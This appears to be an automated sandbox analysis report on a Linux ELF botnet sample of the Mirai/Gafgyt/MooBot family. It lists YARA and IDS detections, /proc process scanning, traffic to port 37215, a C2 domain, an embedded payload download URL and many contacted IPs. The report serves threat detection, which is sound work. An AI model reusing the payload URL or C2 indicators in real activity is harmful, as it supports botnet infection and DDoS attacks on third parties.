Source: ELF static info symbol of initial sample

.symtab present: no

Source: V1J7GFIwfY.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6219.1.00007fb610001000.00007fb610020000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: V1J7GFIwfY.elf PID: 6219, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.troj.linELF@0/1025@19/0

Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6230/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6232/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6227/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6229/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6246/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6252/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6251/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6253/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6255/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/V1J7GFIwfY.elf (PID: 6224)	File opened: /proc/1599/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 41934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 44594
Source: unknown	Network traffic detected: HTTP traffic on port 44318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 33870
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47522 -> 37215

Source: /tmp/V1J7GFIwfY.elf (PID: 6219)

Queries kernel information via 'uname':

Jump to behavior

Source: V1J7GFIwfY.elf, 6219.1.00007fffaa53d000.00007fffaa55e000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/V1J7GFIwfY.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/V1J7GFIwfY.elf
Source: V1J7GFIwfY.elf, 6219.1.00005629e4298000.00005629e4348000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc11!hotpluggableq
Source: V1J7GFIwfY.elf, 6219.1.00005629e4298000.00005629e4348000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: V1J7GFIwfY.elf, 6219.1.00007fffaa53d000.00007fffaa55e000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: V1J7GFIwfY.elf, type: SAMPLE
Source: Yara match	File source: 6219.1.00007fb610001000.00007fb610020000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: V1J7GFIwfY.elf PID: 6219, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: V1J7GFIwfY.elf, type: SAMPLE
Source: Yara match	File source: 6219.1.00007fb610001000.00007fb610020000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: V1J7GFIwfY.elf PID: 6219, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Yara detected Mirai

Source: Yara match	File source: V1J7GFIwfY.elf, type: SAMPLE
Source: Yara match	File source: 6219.1.00007fb610001000.00007fb610020000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: V1J7GFIwfY.elf PID: 6219, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: V1J7GFIwfY.elf, type: SAMPLE
Source: Yara match	File source: 6219.1.00007fb610001000.00007fb610020000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: V1J7GFIwfY.elf PID: 6219, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	2 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
V1J7GFIwfY.elf	58%	ReversingLabs	Linux.Trojan.Mirai
V1J7GFIwfY.elf	100%	Avira	EXP/ELF.Agent.Gen.J

Source	Detection	Scanner	Label	Link
http://103.245.236.156/huhu.mpsl;	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bngoc.skyljne.click	103.179.172.139	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	V1J7GFIwfY.elf	false		high
http://103.245.236.156/huhu.mpsl;	V1J7GFIwfY.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	V1J7GFIwfY.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
123.123.209.178	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
41.110.99.237	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.86.47.30	unknown	Brazil	21612	FUNDACAOINSTITUTOOSWALDOCRUZBR	false
102.228.50.84	unknown	unknown	36926	CKL1-ASNKE	false
95.231.65.160	unknown	Italy	3269	ASN-IBSNAZIT	false
89.214.128.88	unknown	Portugal	42863	MEO-MOVELPT	false
153.59.92.20	unknown	United States	14962	NCR-252US	false
181.47.104.5	unknown	Argentina	27747	TelecentroSAAR	false
130.172.36.21	unknown	United States	12173	UAUS	false
157.19.79.100	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
80.117.61.99	unknown	Italy	3269	ASN-IBSNAZIT	false
41.234.96.236	unknown	Egypt	8452	TE-ASTE-ASEG	false
210.179.142.4	unknown	Korea Republic of	45400	NICNETKoreaTelecomKR	false
204.4.209.203	unknown	United States	174	COGENT-174US	false
157.183.23.193	unknown	United States	12118	WVUUS	false
157.14.200.91	unknown	Japan	2519	VECTANTARTERIANetworksCorporationJP	false
188.89.92.240	unknown	Netherlands	31615	TMO-NL-ASNL	false
196.13.126.227	unknown	South Africa	328651	iVeriPaymentTechnologiesZA	false
12.27.59.171	unknown	United States	22024	SPLUNK-WESTUS	false
38.26.22.16	unknown	United States	53338	ITCICA	false
41.36.218.221	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.77.77.91	unknown	South Africa	16637	MTNNS-ASZA	false
41.183.48.234	unknown	South Africa	37028	FNBCONNECTZA	false
41.69.118.212	unknown	Egypt	24835	RAYA-ASEG	false
135.103.108.166	unknown	United States	10455	LUCENT-CIOUS	false
137.13.185.255	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
197.228.244.168	unknown	South Africa	37251	TELKOMMOBILEZA	false
142.69.131.120	unknown	Canada	14817	SCL-SHAWCA	false
134.198.98.176	unknown	United States	36269	UOFSCRANTONUS	false
122.83.3.176	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
197.93.144.172	unknown	South Africa	10474	OPTINETZA	false
41.163.5.213	unknown	South Africa	36937	Neotel-ASZA	false
20.22.127.132	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
98.195.58.175	unknown	United States	7922	COMCAST-7922US	false
41.15.19.32	unknown	South Africa	29975	VODACOM-ZA	false
174.32.189.154	unknown	United States	6621	HNS-DIRECPCUS	false
23.234.188.53	unknown	United States	54905	DIGITAL-LANDSCAPEUS	false
73.205.131.198	unknown	United States	7922	COMCAST-7922US	false
158.54.95.114	unknown	Australia	11757	WHIRLPOOL-ASNUS	false
41.101.160.211	unknown	Algeria	36947	ALGTEL-ASDZ	false
18.52.200.105	unknown	United States	3	MIT-GATEWAYSUS	false
41.99.68.186	unknown	Algeria	36947	ALGTEL-ASDZ	false
160.176.253.207	unknown	Morocco	36903	MT-MPLSMA	false
41.71.246.162	unknown	Nigeria	37053	RSAWEB-ASZA	false
156.246.3.248	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
137.86.184.92	unknown	United States	14977	STATE-OF-WYOMING-ASNUS	false
83.241.69.69	unknown	Latvia	43513	NANO-ASLV	false
157.148.104.93	unknown	China	136958	UNICOM-GUANGZHOU-IDCChinaUnicomGuangdongIPnetworkCN	false
158.120.79.41	unknown	United States	31756	COLORADOSPRINGS-GOVUS	false
41.190.177.129	unknown	unknown	36974	AFNET-ASCI	false
206.102.92.156	unknown	United States	6423	EASYSTREET-ONLINEUS	false
85.239.143.32	unknown	Spain	35181	PWCKW	false
41.203.64.60	unknown	Nigeria	37148	globacom-asNG	false
123.15.211.87	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
129.195.31.169	unknown	Switzerland	559	SWITCHPeeringrequestspeeringswitchchEU	false
41.121.79.36	unknown	South Africa	16637	MTNNS-ASZA	false
157.247.33.231	unknown	Austria	8447	TELEKOM-ATA1TelekomAustriaAGAT	false
41.145.83.29	unknown	South Africa	5713	SAIX-NETZA	false
71.95.201.92	unknown	United States	20115	CHARTER-20115US	false
197.177.40.108	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
161.194.11.177	unknown	United States	263740	CorporacionLaceibanetsocietyHN	false
50.240.247.199	unknown	United States	7922	COMCAST-7922US	false
124.205.146.114	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
41.215.4.17	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	false
173.182.250.29	unknown	Canada	852	ASN852CA	false
83.74.43.138	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
197.55.123.248	unknown	Egypt	8452	TE-ASTE-ASEG	false
133.247.251.83	unknown	Japan	131923	MCATMiharaCableTelevisionLtdJP	false
83.107.172.86	unknown	United Kingdom	2529	DEMON-INTERNETNowmaintainedbyCableWirelessWorldwide	false
44.115.210.118	unknown	United States	7377	UCSDUS	false
2.174.41.101	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
41.155.13.217	unknown	unknown	37079	SMMTZA	false
72.191.209.167	unknown	United States	11427	TWC-11427-TEXASUS	false
65.195.47.31	unknown	United States	701	UUNETUS	false
69.21.1.96	unknown	United States	4181	TDS-ASUS	false
149.247.171.100	unknown	Germany	38943	KNORR-BREMSEDE	false
96.119.94.50	unknown	United States	7922	COMCAST-7922US	false
20.80.148.235	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
41.56.231.127	unknown	South Africa	33762	rainZA	false
164.103.212.98	unknown	United States	36534	AHSCA	false
82.77.167.63	unknown	Romania	8708	RCS-RDS73-75DrStaicoviciRO	false
41.85.112.65	unknown	South Africa	328418	Olena-Trading-ASZA	false
165.91.234.86	unknown	United States	3794	TAMUUS	false
157.244.174.9	unknown	Canada	32934	FACEBOOKUS	false
79.126.185.93	unknown	Macedonia	16333	ONNET-AS-OWNMK	false
157.37.189.91	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
87.81.175.75	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
41.153.182.191	unknown	Egypt	36992	ETISALAT-MISREG	false
175.156.74.243	unknown	Singapore	4773	MOBILEONELTD-AS-APMobileOneLtdMobileInternetServicePr	false
121.201.229.14	unknown	China	17623	CNCGROUP-SZChinaUnicomShenzennetworkCN	false
